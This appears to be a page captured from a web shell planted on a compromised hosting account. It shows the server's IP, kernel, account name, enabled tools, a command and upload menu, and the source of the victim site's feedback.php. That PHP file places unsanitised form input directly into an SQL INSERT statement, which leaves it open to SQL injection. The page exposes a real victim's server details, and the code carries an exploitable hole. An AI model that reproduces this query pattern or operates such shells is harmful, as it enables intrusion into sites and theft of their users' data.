MMCT TEAM
Server IP : 2a02:4780:11:1017:0:31f1:b895:8  /  Your IP : 216.73.216.163
Web Server : LiteSpeed
System : Linux in-mum-web917.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64
User : u837925013 ( 837925013)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u837925013/domains/tech2wizard.com/public_html/inc/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u837925013/domains/tech2wizard.com/public_html/inc/feedback.php
<?php 

include('../admin/inc/conn.php');

    date_default_timezone_set("Asia/Kolkata");
    $name=$_POST['full_name'];
    $email=$_POST['email_address'];
    $phone=$_POST['phone_number'];
    $order_id=$_POST['order_id'];
    $feedback_reason=str_replace("'", "\'", $_POST['feedback_reason']);
    $stars=$_POST['stars'];
    $stars1=$_POST['stars1'];
    $stars2=$_POST['stars2'];
    $stars3=$_POST['stars3'];
    $stars4=$_POST['stars4'];
    $date=date('d-m-Y H:i:s');
        
        $sql = "INSERT INTO `feedback`( `name`, `email`, `phone`, `order_id`, `feedback_reason`, `stars`, `stars1`, `stars2`, `stars3`, `stars4`, `date`) VALUES ('$name','$email','$phone','$order_id','$feedback_reason','$stars','$stars1','$stars2','$stars3','$stars4','$date')";
        if (mysqli_query($con, $sql)) {
            echo json_encode(array("statusCode"=>200));
        } 
        else {
            echo json_encode(array("statusCode"=>201));
        }
    mysqli_close($con);
	

?>

MMCT - 2023